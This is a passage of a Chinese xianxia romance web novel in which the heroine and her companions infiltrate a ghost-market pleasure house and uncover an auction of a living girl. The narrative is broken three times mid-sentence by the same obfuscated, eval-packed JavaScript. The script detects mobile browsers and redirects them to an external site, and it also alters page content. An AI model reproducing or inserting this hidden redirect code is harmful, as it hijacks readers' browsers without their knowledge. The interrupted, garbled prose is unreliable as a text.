月华如练,八道强盛的神光自指尖射出,齐齐涌向神坛中央,注入尚未大成的神器中。 …… 冥界,珞瑶与炎庚、纭姬提前到鬼市打探有关尽欢楼的消息,但没有发现什么有用的线索。 抱着能打听到一点是一点的念头,纭姬到焰息山询问嬴夫人,却是带着伤回来的。 为防引人注目,三人立刻离开了鬼市,就近找了一处空旷少人的高地,珞瑶为纭姬疗伤,一看伤势,竟是幽祟出没时留下的痕迹。 “焰息山有幽祟入侵,为何圣使没有接到消息?” 珞瑶皱起眉,虽然她还没有正式传授给炎庚镇幽术法,但现在他们在一起,如果接到消息,她定会立刻赶去支援。 纭姬望了望炎庚,低声道:“夫人不让,说告诉少主也于事无补,只会给他带来祸端。” 尽管珞瑶清楚纭姬的意思,但还是眉心蹙起,“他是圣使,奔走冥界镇压幽祟是他的责任。” “不怪她,伯池不会眼睁睁看着我们取得联络的。” 炎庚立在一旁,神色阴沉,“伯池已将焰息山视为弃地,自然不会管她们的死活,更别说让她们向我传音了。母亲知道这一点,就算她传了信,我们也收不到。” 自从来到冥界,伯池的所作所为一遍遍颠覆着珞瑶的认知,只见纭姬低着头,声音在寂静中响起。 “焰息山周边界壁薄弱,常有幽祟入界,夫人求援而不得,只有带着我们尽力自卫,嬴家军对抗幽祟很是吃力,有时损失惨重,夫人也抵御不住了,冥宫才会派遣圣境使者和兵力过来支援,只为阻挡幽祟进入其他地域……三百年来,次次皆是如此。” 各界是否有幽祟入侵、幽祟又出现在哪里,这些事通常由圣使监管,之后再传音到澜渊,然而,上一任冥界圣使是伯池嫡系的亲信,对他唯命是从。 也正是因此,珞瑶在澜渊上万年,却没有一次听说过焰息山的消息。 如此来看,伯池根本不在意嬴氏一族的死活。 他没有对嬴氏斩草除根,一边不想背负骂名,一边却想借幽祟之手将嬴家军消磨殆尽,也让嬴夫人元气大伤。 珞瑶闭了闭眼,努力忍下所有情绪。 幽族,她梦寐魂求想要清除干净的东西,为祸世间的灾厄之物。 可这灾厄之物,如今却成了某些人阴险算计的政治工具。 她一言不发,施展法术为纭姬疗伤,待一切结束,天边也泛起了鱼肚白。 “走吧,去尽欢楼。”珞瑶站起身。 早一日查清楚,冥界混乱的局面就能早一日结束。 21. 白夜魂游(二) 如纭姬所说,尽欢楼行事谨慎,非本族来客拒不接待。 三人乔装打扮了一番,炎庚身份特殊,此次易容成了北漠富商的模样;纭姬从前在暗道露面都戴面具,没人能认出她,所以并未改变容貌;珞瑶则再度化身为界主殿女官的面容,就算之后意外暴露,也还有周旋掩饰的机会。 这样一来,他们就都是“冥族”了。 尚未入夜,尽欢楼已然门庭若市,楼内楼外衣香鬓影,一片歌舞升平的繁华景象。 一切收拾妥当后,三人踏进大门。珞瑶一袭松绿色裙衫,安静地跟在炎庚身边,仿佛真的只是一个平平无奇的女客,毫不意外地瞒过了小厮的眼睛。 她暗暗一松,与炎庚、纭姬走进去,顺着小厮的指引继续向深处走。 不远处,廊下立着一道两人高的垂花门,周围萦绕着充沛的灵光。一个女子走在他们前面,款款跨过门槛,下一刻,她却突然捂住了头,痛苦地弯下腰,没过多久便倒在地上,失去了意识。 女子晕倒后,原本半透明的虚幻身形逐渐化为实体,暴露出了独属于灵族的气息。 珞瑶心头微惊,骤然停下了脚步,垂花门上的光芒无声闪烁着,险些晃了她的眼睛。 原来,尽欢楼识别非冥族的来客,靠的从来不是守在外面的那些侍从,只有眼前这道门,才是它真正的关窍所在。 谁也不知这道门的真实威力到底有多少,如果足够霸道,也许能识破她的伪装。 炎庚也看出了问题,见她抬步欲行,略显焦躁地扣住了她的手腕。珞瑶神色如常,给了他和纭姬一个安心的眼神,随之走上前。 小厮手脚麻利,很快把晕倒的女子抬了出去,像是早已对这种事司空见惯。 珞瑶面色如常,从垂花门下走了过去。 通过的一瞬间,翻江倒海的晕眩感席卷而来。珞瑶身形微晃,一手撑着廊柱,被身后高大的男人稳稳扶住了。 “你怎么样?”炎庚低声问,带着急切。 珞瑶摇了摇头,本想说“没事”,可眼前始终黑暗着,几乎让她看不清前路。 她闭上眼,立刻驱动体内灵力以对抗外来的扰乱。 那些小厮注意到了这边的异样,不过片刻功夫便走了过来,为首的中年男人留着八字胡须,是尽欢楼明面上的掌柜。 “这位姑娘看上去情况不佳,不知是怎么了?” 掌柜赶来,精明如炬的目光落在三人身上,笑中含着深意,“我尽欢楼只接待冥族百姓,若外族妄图潜入,自会暴露破绽,莫非姑娘……” 要是珞瑶就这么晕倒在这里,一定也会像方才那个女子那样被“送”出去,但现在她挺着没有倒下,尽欢楼的人怀有疑心,却不好在大庭广众下动手,唯有试探。 “家中小姐在外游玩太久,一时体力不支罢了,你有什么问题?” 炎庚转身面对着掌柜,眸色发冷,后者却不怵,圆滑道:“既如此,想必小姐应该歇息了。” “来人,还不扶贵客到廊外小坐?” 掌柜目光犀利,紧盯着珞瑶,很快就有小厮簇拥了上来,作势要扶她。 要知道,受到灵力的剧烈干扰与纯粹疲惫的状态大不一样,如果真的让他们靠近珞瑶,恐怕会当场露馅。 炎庚脸色更差,上前一步挡在珞瑶面前,正欲开口时,身后却传来一道声音:“多谢周掌柜关怀,不过还是免了。” 平静而清晰,如玉击之音。 炎庚怔住,下意识回头。 他身后,珞瑶不知何时已经转了过来,她目光沉静,并不是多么惊艳的轮廓,却气度高华,透着清冷的光。 仿佛刚才暴露出的失态,真的只是一时难掩的疲惫。 “我确是有些玩累了,今日过来是奔着尽欢楼的好酒,可不是来歇息的。” 珞瑶声线平稳,扫了一眼踌躇的小厮,目光又移回到掌柜身上,“周掌柜,不知有什么问题?” 尽欢楼的掌柜姓周,知道的人并不多,周掌柜没想到她能直接叫出来,面上多了几分迟疑。 廊间花灯摇曳,徐徐起了风,纭姬回过神,顺势不耐道:“敢问掌柜,现在能让我们进去了么?我家小姐身子不好,可站不了多久。” 珞瑶身形如竹,坦然立在走廊下,是看不出半分异样了。 周掌柜终于放下了戒心,拱手赔罪,“自然,自然,请恕我等冒犯,冲撞了贵客。” 剑拔弩张的氛围无声平息了,小厮殷勤地迎上来,引着三人穿过金碧辉煌的楼梯,来到最顶层的上房。 门一关上,珞瑶便扶住了墙,勉强支撑着身体没有倒下去。 那道灵门力量非凡,连她都无法避免受到影响,若没有外界势力支持,尽欢楼不可能造出这种等级的法器。 炎庚和纭姬知道她刚才是在硬撑,进入上房后半句多余的话都没说,一个迅速排查了房中的危险,一个扶着她到床榻边。 她现在的状态太被动,如果不尽快调整,遇上变故时不仅不能出力,还会成为他们的累赘。 珞瑶靠在榻上,模模糊糊地想着,意识逐渐昏沉起来。 …… 一扇螺钿屏风将内室严严实实地遮掩住,外间,炎庚一言不发坐在茶桌前,不动声色观察着门外。 直到半柱香时间过去,那道窥视的魂影悄然离开,他才收回了视线。 纭姬在他旁边,也将方才门外的情形尽收眼底,嘲讽道:“这个周掌柜还真是谨慎。” “他对我们尚有疑心,想让他彻底放松警惕,起码要伪装过今日。” 炎庚说着,把碾碎的药草放进紫砂药壶里,指尖燃起的烈火飞到壶底,没过多久,原先冷冰冰的汤药便冒起了热气。 在鬼市明道里,尽欢楼的地盘最大,五层的高度足以俯瞰整个鬼市,既是酒楼,也是客栈。 这里的陈设奢华不失考究,回廊壁画以金石和白玉雕镂,就连熏香用的都是品质上佳的沉香。如此大的开销,若仅仅依靠打尖和住店牟利,必定入不敷出。 炎庚是这样猜测的,很快从尽欢楼小厮的口中得到了印证——在这里,除了日夜不歇的歌舞,还有每隔三日开启一次的“拍卖会”。 刚才上楼时他们就留意观察过,没有发现什么明显的异样,赶魂人也杳无踪迹。 算算时间,下一次拍卖会就在明晚,也许到时候能发现线索。 炎庚熄灭了火苗,滤掉多余的药渣,把汤药倒进白瓷碗中。 他用指背试了试温度,端起药碗起身,纭姬看着他动作,突然开口:“少主……” 炎庚:“怎么?” 他听见了,停下回头望她。 纭姬欲言又止,俄而还是鼓起勇气,低声问:“少主现在对待圣女,是仅仅只有上下属的感情吗?” 像是没想到她会问这个,炎庚眸中闪过诧异,但这份诧异只持续了片刻功夫,他知道,母亲一向对他何时成家很是关心。 于是,他回答得坦诚:“不是。” 从这个角度向内室看,只能看见榻边安静的一角衣裙,像是睡着了。 炎庚收回目光,对纭姬道:“从她救下我的那一天开始,我就心悦于她。” 纭姬站起来,情不自禁向他走近两步,“可少主别忘了,圣女与羲洵神君早有婚约……” “我知道。” 对此,炎庚早已想通了,他当然知道珞瑶有婚约,可那又如何? 若珞瑶不愿意,天道也不能强迫她。 他翘起唇角,低声道:“天道缔结婚约的时候,可没说不能解除,所以,我只是有一个很强劲的竞争对手而已。” 炎庚绕过屏风,拿着熬好的汤药向内室去,纭姬无可反驳,想追上去,终究还是没有动。 …… 大雪过后,山谷里分外寒冷,寂静得没有一点生机。 珞瑶不知自己现在何处,漫无目的地在山间行走,直到发现了幽祟出没的痕迹,闻到一股刺鼻的血腥气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225969|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 紧接着,她看见了自己,还有羲洵和炎庚。 这里草木荒芜,满地血污染红了白雪,显然刚刚经历了一场大战。炎庚闭着眼,无声无息地躺在地上。 相比他,自己的伤势还不太重,但也急需调息修养,稳住内里灵力。 又是梦。 因为先前已经有过很多次类似的经历,珞瑶很快就反应了过来。 她不知幽祟的力量强盛到了什么地步,才会让他们都负伤,就连羲洵也未能幸免于难,此时呼吸沉重地靠在树下,唇边沾着血迹。 然而,她在梦中只是“旁观者”,就算意识到这是梦,也没有干预下一步走向的能力。 于是,珞瑶就站在几步之外,观察着“自己”。 与羲洵和炎庚相比,她受伤较轻,是现在唯一一个还有行动能力的人,也正是因此,她才会陷入两难的境地。 一边是他,一边是自己的圣使。 古树下,羲洵似乎看出了她的纠结,眸中含着某种复杂的情绪,但只是一闪而过,连旁观的珞瑶也没能捉住。 “阿瑶,你先带他走吧,不必管我。”他轻道。 “那你……” “别担心,我有传音蝶。” 虽然面色苍白,但羲洵神色轻松,还对她笑了一下。 珞瑶在梦中远远旁观,明知他的做法是对的,还是皱了皱眉头。 果不其然,在“她”带着炎庚先行离开后,羲洵眸中的神采迅速消退下去,如果不是衣袍上沾了血,几乎要与满地青白融为一体。 他筋疲力尽,连传音的力气都没有了。 “羲洵,羲洵!” 珞瑶快步走过去,想用灵力为他疗伤,奈何现在她置身梦境里,再怎么样也是有心无力。 雪花又纷纷扬扬地飘落下来,不知过了多久,珞瑶终于看见了沧丞的身影。 在看清雪地里的那人后,他大惊,显然没想到羲洵会伤成这样,急切赶过来:“你怎么伤得这么重,珞瑶呢?” 沧丞问是问了,也没指望他回答,立刻开始替他疗伤。 随着灵力输入体内,羲洵的脸色渐渐有所好转,总算不像刚才那样虚弱了。 “怎么回事,你们敌不过幽祟,为什么不向神山求援?” “高阶幽祟的攻势太猛烈,来不及。” “那也不能硬扛啊!你——” 羲洵摇了摇头,声音发哑,“镇幽珠越来越衰弱,幽祟的力量却越来越强,如果我不顶上去,现在重伤的就是她了。” 之后沧丞还说了什么,珞瑶完全没有听见,她望着羲洵,心里说不出是什么滋味。 她早就说过,其实她没有那么重要,因为一个圣女献祭,很快就会有新的圣女降世,可羲洵似乎听不进去,也接受不了。 他变得有些不太理智,万幸的是,这只是一场虚无的梦境。 梦中,生灵涂炭,万物寥落,连她和神族也无力挽回失控的局面,珞瑶心如明镜——如果他们最终没能集齐那三样东西,镇幽珠继续衰微下去,这就是他们必将经历的未来。 羲洵歇息片刻,终于有了点力气,沧丞扶着他起来,返回神山。 珞瑶知道这场梦快要醒了,没有跟上去。她立在原地,脑中却回荡着最后羲洵对沧丞说的那句话,经久不散。 “珞瑶必须先救他,也只有先救他……在生灵性命面前,我们的婚约,微不足道。” 因为负伤,他的声音很轻,还苦中作乐般笑了一下,“若我因此身陨,也算神格完满了。” 神体力量强大,轻易不会受伤,与炎庚相比,羲洵明显伤得更重,却还是让她先带炎庚离开。 对此,珞瑶无比清楚。对神明来说,私心的爱憎与公心的悲悯可以共存,但公永远凌驾于私之上,不可违逆。 “苍生为重,众神为轻。” 直到这种意识彻底根植于心的那一天,所谓众生仰望的神明,才算真正拥有了“神性”。 22. 白夜魂游(三) 珞瑶从梦中醒来,睁开眼完全陌生的环境,才让她回想起仍在尽欢楼。 小憩一会儿,那阵难以忍受的晕眩感终于缓解了一些,她从榻上起身,看见炎庚坐在小几前,手边放着只瓷碗。 “原来圣女也会梦魇。”炎庚好整以暇看着她。 他觉得有趣,至于她在梦中喊了谁的名字,他会当作没有听见。 珞瑶虽然已经好了许多,但脑中还是有些发晕,无心追究他什么,在对面坐下。 见她不接茬,炎庚轻挑了挑眉,识趣地没有追问下去,将白瓷小碗推到她面前。 “冥宫治晕厥之症的灵药,我亲自熬的,没毒。” 熬好的汤药放了好一会儿,已经从滚烫变成了温热,澄澈的微褐色与白瓷相得益彰,能闻出好几种药材的味道。 珞瑶不怀疑他,端起碗喝了下去。 …… 冥界终年光照不足,让人分不清白天昼夜,外面充斥着歌舞升平的饮宴声,看一眼刻漏,才发现现下不过午后的时辰。 珞瑶目光转向周遭,她在房中走过一遍,发现这里空间广阔,各类陈设应有尽有,书房、卧榻,甚至屏风后面还有一间小型的茶室,若两个人分别站在最南和最北的地方对话,连对方出声都听不见。 像这种规模的上房,整个尽欢楼至少还有十间,都分布他们现在所处的顶层。 纭姬不在房中,出去打探消息了,珞瑶留在这里,听炎庚说了拍卖会的事,心中的疑虑反而少了许多。 在利益为先、物欲横流的鬼市明道,一家纯粹的酒楼是经营不长的,有拍卖这种挥金如土的盛事,一切才显得合理起来。 片刻,珞瑶感到身上轻快许多,最后一点不适也消退了,看来是那碗汤药的功劳。 “多谢你的药。”她对炎庚道。 炎庚唇角一勾,“应该的,毕竟你是我的‘救命恩人’。” 这个“称号”实在有些陌生,珞瑶一怔,但很快回想起了过往之事。 那次她追剿幽祟,是在冥界边境的一处断崖下发现的炎庚,白虎气若游丝地缩在崖缝下,被凶残的幽祟堵死了去路。 若她来晚一步,恐怕炎庚就要被幽祟的尖牙利爪撕成碎片了。 珞瑶:“你当时为什么会在那里?” 炎庚猜到她会问,却没有立刻回答,一贯漫不经心的目光难得沉寂了几分。 三百年前一朝变故,冥宫双王反目,两方势力分崩离析,他被放逐北漠,随着伯池对嬴氏的态度越来越恶劣,他也越来越察觉到危险。 那天,他秘密离开北漠驻地,想要向外求援,寻求与他族王室的合作,却走漏了风声,没等他越过冥界疆土,从冥宫来的刺客便追杀而来。 幸运的是,最后那帮刺客没有得手,全被他杀了;不幸的是,他赢得艰难,因这一遭身负重伤,灵力耗尽现出了真身,正在他撑着一口气准备离开的时候,又遇上了潜伏在周遭的幽祟。 “那时候,我本想着就这么死了,也省得再和伯池勾心斗角下去,可偏偏你来了,是你救了我。” 炎庚的神情恢复如常,绕着桌案走过一周,缓缓来到了珞瑶身后。 “我母亲说,只有爱才能让人重生,你救了我,给了我第二次生的机会。” 他一手撑着桌案,微微俯身靠近珞瑶,听不出是轻佻还是认真,“所以,你是‘爱’我的。” 烛盏里的火苗晃动了一下。 珞瑶望着那双红宝石般的眼眸,还没说话,袖中突然鼓起了个大包,丹狸一股脑从里面窜了出来。 “呸呸呸!” 它打着滑跃上桌案,眼睛瞪得溜圆,仿佛听到了什么震惊的话,“珞瑶怎么会爱你?你你你,厚颜无耻,没脸没皮!” 炎庚饶有兴趣地看丹狸炸毛,也不生气,等它骂完,才发出了一句提纲挈领的疑问:“你叽里咕噜骂了一堆,我到底是厚脸皮还是不要脸?” 猫怎么可能吓住老虎呢? “你、你——” 丹狸的成语全是从下界的话本里学来的,哪里知道刚才骂的两个词自相矛盾?吭哧吭哧说不出反驳的话了,只有冲他恶狠狠哈气。 狸猫虽小,发出的动静却大,珞瑶担心它的声音被外面听见,在它又想开口时捏住了嘴筒子,“丹狸,回去睡觉。” 有了珞瑶的话,丹狸就算再不服气也没办法,气鼓鼓地钻了回去。 四周安静下来,炎庚轻笑了一下,目光移回到珞瑶身上,原先多多少少含着玩笑之色,此时却无声消退了几分。 珞瑶当然注意到了他的眼神。她读不懂其中的含义,却明白不该对自己的下属撒谎,对于那个问题,似乎也不该随意搪塞过去。 寂静的烛光里,珞瑶缓缓开口:“你误会了,当时我无意发现了你,就算换一个人,我也还是会出手相救。” 换一个人吗? 炎庚眸色一深,尽管他清楚这是圣女必定践行的操守,但在真正听到这个回答后,还是忍不住有些失望。 他重新坐下,眼神却没有移开,鬼使神差问:“那,你可有爱的人?” 这个话题似乎比上一个更棘手了,珞瑶抿了抿唇,一时不知该怎样回答。 她不清楚什么是爱,但大致能够分别:这是一种与“喜欢”差不多的东西。 上次她问羲洵,羲洵是怎样说的? 珞瑶努力回忆着羲洵当时的解释,无奈缺乏实践,绞尽脑汁想了许久,还是没能将二者成功地融会贯通。 她索性不再细想,最后按照天道对她的要求和期待,选取了那个从降世便在心中存在的答案。 “苍生万物?” 珞瑶的口吻有些迟疑,但神色认真,明显不是开玩笑,她是真的这样想。 炎庚失笑,怎么也没想到她思量了那么久,最后却是这个答复。 是他忘了,圣女情窍未开,本就和常人不一样。 “好吧。”炎庚耸耸肩。 没过多久,纭姬回来了,跟在她后面的还有一个绯衣云髻的乐姬,手里抱着一只五弦琵琶。 纭姬关上房门,面色很是自然,见珞瑶走出来,笑道:“姑娘那会儿不是说想听琵琶吗?我把伶人点来了。” 虽然事先没有专门商量过,但听过这句话,珞瑶和炎庚就都明白了。 尽欢楼门庭若市,最了解这里的除了周掌柜和来往跑堂的小二,自然便是那些与来客关系最密切、消息最灵通的歌姬乐人了。 “奴家锦瑟,这厢有礼了。” 乐姬在酒楼欢场中浸淫多年,十分知情识趣,款款向两人见礼,声似莺啼,分外悦耳。 做戏要做全套,珞瑶象征性地点了几首曲子,那名叫锦瑟的乐姬也一一弹来,琵琶乐声从指尖缓缓流泻,如珠落玉盘,清脆而婉转。 隔着几层缥缈纱帐,珞瑶倚在春榻上听曲,实则暗暗观察着她,锦瑟技艺过人,弹了许久也未见疲惫,最后还是炎庚出声叫停了。 “你在这里有多少年了?”他问锦瑟。 锦瑟不疑有他,柔声细语答道:“奴家投入冥界后受周掌柜收留,在尽欢楼足有十年了。” 那就是对这里十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235750|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分了解了。 炎庚步入正题,“我们初来乍到,对这里好奇得很,既然姑娘资历颇深,能否向我们介绍一番?” 说着,他将一锭金子放在桌上,意思已经很明显。 锦瑟眼睛亮了亮,回应道:“公子想知道什么?奴家定知无不言。” 从进入尽欢楼至今,他们已将明面上能打听到的消息收集得差不多,唯有那个拍卖会依然扑朔迷离。 好在此事也算不上秘密,锦瑟听后一笑,婉声道:“公子有所不知,我们尽欢楼的拍卖不是面向所有客人,从来都只有居于顶层上房的贵客才能参加,且还有附加条件。毕竟羊毛出在羊身上,拍卖之物来自六界四方,尽欢楼只是在此组局,充当一个中间人的作用罢了。” 她说的隐晦,炎庚问:“什么条件?” “很简单,如今三位贵客已在上房,只需捐出一件足够难得的宝物为拍卖会增光添彩,就可以顺理成章拿到入场牌,届时,当晚所有端上拍卖桌的宝物都任君挑选。”锦瑟答。 了解过“规矩”,纭姬嗤笑一声,讽道:“你们倒是打得一手好算盘,拍卖之物由客人捐,到头来还要客人抬价买卖,只有你们分文不花,还赚得盆满钵满。” 店家财源广进,来客稳赔不赚,这是哪里来的道理?人人都知道尽欢楼水深,偏偏多得是豪族富商做冤大头,上赶着为这处销金窟砸银子。 “姑娘此言差矣,若没有尽欢楼,还有哪里能为我族的豪杰英雄提供如此便利的交往之地呢?” 对此,锦瑟笑意未变,像是早已听惯了类似的话语。 尽欢楼存在的意义不在吃喝玩乐,而在于替达官贵人牵线搭桥,也为各类天材地宝创造了一个交易的场所。 尽管知道这场拍卖的本质,他们还是必须要参加,毕竟他们这次不是来砸场子的,就算要砸,起码也要等找到赶魂人再说。 炎庚开始考虑,到底要捐出一件什么样的宝物。这些年他在北漠驻军,没有收藏各种稀世宝物的喜好,虽然手中握有嬴氏一族的半壁产业,但也多是真金白银,少有灵宝法器。 而且有些东西,如果他在这里拿出来,立马就会暴露身份。 不可一世的炎将军活了上万年,第一次感受到什么叫做“囊中羞涩”。 思来想去,他把腰间那块蟒纹玉佩扯了下来。 纭姬见了连忙阻拦,一声“少主”到了嘴边又匆匆改口,“这是公子最喜欢的一块玉佩,夫人亲手打的络子,怎能拿出去卖呢?” “事态匆忙,先这样。”炎庚有所迟疑,但拎得清孰轻孰重,还是很快做好了决定。 就在他将要把玉佩交给锦瑟时,纱帐后的珞瑶开口了,“我来吧。” 她从春榻上起身,缓缓走出纱帐,女子的容貌并不出众,甚至称得上平凡,但她的气息干净又平稳,吸引着他人的关注。 珞瑶想了想,从发间拔下一支发簪,“这个如何?” 竟是昆山蓝玉。 这种产自上界的灵宝,整个冥界怕是都找不出几件。 锦瑟面上笑意更浓,道:“奴家这就去帮姑娘挂牌。” 她向三人行礼,抱着琵琶退了出去。 “黑心。” 房门重新关上,炎庚冷冷骂了一句,抱臂走到珞瑶身边,“待伯池垮台,我定替你拿回来。” “我不缺这些。”珞瑶摇了摇头,道。 澜渊圣境有一整座灵宝库,她是常常戴那支簪子,但也没有到不能失去的地步。 现在,他们拿到了拍卖会的入场牌,只等明晚开场了。 23. 白夜魂游(四) 转眼到了次日。午后,三人结伴下楼看歌舞,好像真是来这里寻欢作乐的宾客。 尽欢楼行事缜密,没有半点异常的迹象,要不是他们亲耳听过楚阴侯的供词,现在怕是真的会怀疑消息的真假。 可这里就这么大,赶魂人又能把那些魂魄关在哪里? 入了夜,距离拍卖会开场还剩下一个时辰。珞瑶回了房,独自坐在窗前,遥望外面明灯如萤,照亮了漆黑的夜空。 须臾,一只蝴蝶扑扇着翅膀飞进窗牖,停在她发间。 起初她没在意,但过了许久,这只蝴蝶一直没有离开。 珞瑶有些诧异,伸手去摸,通体金纹的蝴蝶绕着她转了半圈,落在她指间。 它飞得轻盈,而且只围着她,如有灵性一般。 珞瑶端详片刻,不确定地唤了一声:“……羲洵?” 听见她的声音后,金蝶欢欣地抖了抖翅膀,似在回应,上面的花纹映在烛火下,闪着细碎的光。 果然是他。 珞瑶抿起唇,不禁笑了一下。 现在羲洵应该在巩固神器之力,做最后的收尾,他暂时走不开,但分一缕神魂潜入冥界看一看还是绰绰有余的。 不过,以他的修为,想潜进来有更好的方式,不知为何会选择化身于一只平凡的蝴蝶。 珞瑶只这一点没想通,但想到神魂寄生之物无法开口说话,便没有多问。 茶盏中还剩一底残茶,金蝶飞了上去,轻薄的翅翼尖沾上茶水划过桌面,留下几道交错的水痕。 珞瑶定睛一看,分辨出那水痕是两个字——“如何”。 “赶魂人尚未现身,也许今夜的拍卖场会有消息。” 珞瑶知道它在问什么,把尽欢楼的情况告诉了它,若今夜无果,他们就得另寻他法了。 晚风徐徐吹进了窗牖,神明降临后,月色也难得地清晰可见。 金蝶飞过屏风、茶桌,将整间上房都绕了一圈,没过多久回来了,在桌案上留下几字——一张。 珞瑶不明,“一张什么?” 它鼓动双翅,在空中悬停不前,纠结了一会儿,竟少见地垂头丧气起来,缩起了那对流光溢彩的翅翼,不再动了。 难得见他如此反应,珞瑶被勾起了兴趣,用指尖轻点了点它,它又飞起来,继续开始在乌木桌案上“作画”。 ——为什么……只有、一张…… 金蝶心焦地动作着,固执地一个字一个字那样写,珞瑶看着它忙活,字迹逐渐在桌上显现,但杯盏中茶水已尽,它失去了可用的墨,后面的字越写越淡,几乎没有了痕迹。 水渍消得很快,最后两个字形也变得漫漶不清,好在珞瑶成功辨认了出来,也领会了他的意思。 ——为什么只有一张床榻? 珞瑶怔了一下,望向不远处帷帐掩着的床铺。 对于修炼之人来说,吃饭、睡觉都不是每日必须完成的“任务”,有时遇上重要的事,忙到数月不眠都是有可能的。 因此,床榻并没有那么重要,从他们来到这里,这张床基本是闲置的,只有她在上面短暂地休息过片刻。 珞瑶不懂他特意问这个的原因,想着或许有她没注意到的细节关窍,便如实告知于他,没想到金蝶听过后振动翅膀,肉眼可见地欢快了起来。 它停在她指间,落到她肩头、发髻,俄而又飞起来,绕着她周围转个不停,带起一阵来去飞快的风,哪里有平时的半分沉稳? “安分一点。” 珞瑶被弄得有点痒,捉住蝴蝶拢进了手心里,低低道。 要不是它身上浅金色的花纹过于熟悉,她几乎都要怀疑自己认错了人。 就好像蝴蝶是他的真身,人形才是禁锢他的躯壳。 冥界有觥筹交错的享乐之地,却始终带有阴暗沉闷的底色,少有鲜活的色彩。望着眼前活跃的金蝶,珞瑶心中一动,从手中变出了一枝盛放着的昙花。 昙花盛放短短一瞬,能幸运地闻到昙花香气的蝴蝶,也就这一只了。 花香最容易吸引蜂蝶,纵是羲洵化身也不例外。它被勾走了注意力,好奇地飞到花间,但并没有过多流连,只是靠近嗅闻了几下,便又翩然飞回来,落到她手中。 脆弱的蝶翼拂过她手心,被烛光映成了半透明的颜色。 珞瑶一走神,忽然想起了那对又大又亮的鹿角,也是这般晶莹和清透。 …… 一缕神魂的状态不稳,只能在这里短暂停留。羲洵离开后,月色再度隐入了阴霾,而尽欢楼依旧歌舞升平,彻夜不眠。 炎庚和纭姬回来了,没过多久,铜漏报时的声音准时响起来。 “咚——咚——” 午夜时分,终于到了。 这时候,一种类似机关的声音响了起来,没等三人反应,脚下的地面突然晃了晃,带着整个房间向前移动起来! 外面传来惊呼声,珞瑶疾步上前推开了房门。 一圈走廊外,原本贯通上下的天井里出现了一座高台,正从楼底缓缓升上来,八字胡的周掌柜立于其上,身后的仆从捧着银盘,上面一一盖着名贵的鲛绡。 这些鲛绡下面藏着的,就是今晚的拍卖品。 须臾,包括他们在内的几间上房齐齐停止了移动,完全悬空着在天井外,仅有一条楼梯与地面相连。 远远望去,就像一间随时可以自由移动的“木匣”。 四周灯火辉煌,一层无形的法罩悄然降下来,隔绝了楼下嘈杂热闹的声音。周掌柜站在天井中央,向“木匣”中的贵客揖手道谢,口中说着吉祥话,正式拉开了今晚重头戏的序幕。 鲛绡落下,一众拍卖物陆续露出真容,有武器、灵药、来自外界的稀罕物,都是世间不可多得的珍宝。 一时间,周遭惊叹之声此起彼伏,但珞瑶三人的注意力显然不在于此。 “这个赶魂人,该不会真的不露面吧?”纭姬咬牙。 炎庚不置可否,眯了眯眼,“再等等。” 时间流逝,一件件名贵的宝物被呈上拍卖桌,除了他们,其他房间陆续亮起灯,不断哄抬着令人心惊的价格。 真金白银成箱地被运进尽欢楼的库房,好像钱不是钱,只是几个微不足道的数字。 拍板成交的声音响彻整个楼层,宾客热切地交谈着,不时传出几声愉悦的大笑,透着颓废糜烂的气息。 “我下去看看。” 眼见拍卖之物将要过半,纭姬坐不住了,欲离开包厢下楼去,无意向远处一瞥,却停在了原地。 “……那是什么?” 高台角落悄然出现了一个巨大的箱子状的东西,仍由鲛绡遮盖着。 周掌柜笑意更浓,“观赏过这么多宝物,想必诸位贵人都累了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238720|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下一件,我们看看更新鲜的。” 话音落下,他拽住鲛绡一角抽开,四座皆惊——那不是什么箱子,而是一个精铁制成的笼子,里面关着的并非灵鸟异兽,赫然是一个活生生的少女! “这、这怎么……” 场面静止了一瞬,很快又再度喧闹起来,风烛摇晃,所有观看拍卖的包厢都沸腾了。 周掌柜将众人的反应尽收眼底,面上闪过满意的神情,介绍道:“周某知道,能出现在这里的宾客皆是大有来头的贵人,成大事者,向来不拘小节。今日我将此女搬上台,固然有牟利之缘由,却更想将这一不可多得的‘机遇’让渡给有缘的贵客……毕竟,此女的灵魂至纯至洁,在整个冥界都难得一见。” 珞瑶三人本就有所疑虑,听了他的话彻底确认了心中的猜测。 “难怪赶魂人迟迟没有将准备好的魂魄运去冥宫,原来除了伯池要的那些,他还私自贩卖……”纭姬气愤不已。 炎庚脸色铁青,立刻大步到包厢外,不久便抓了个小厮拖进来,逼问:“谁给你们的胆子,敢在这里公然贩卖百姓?” 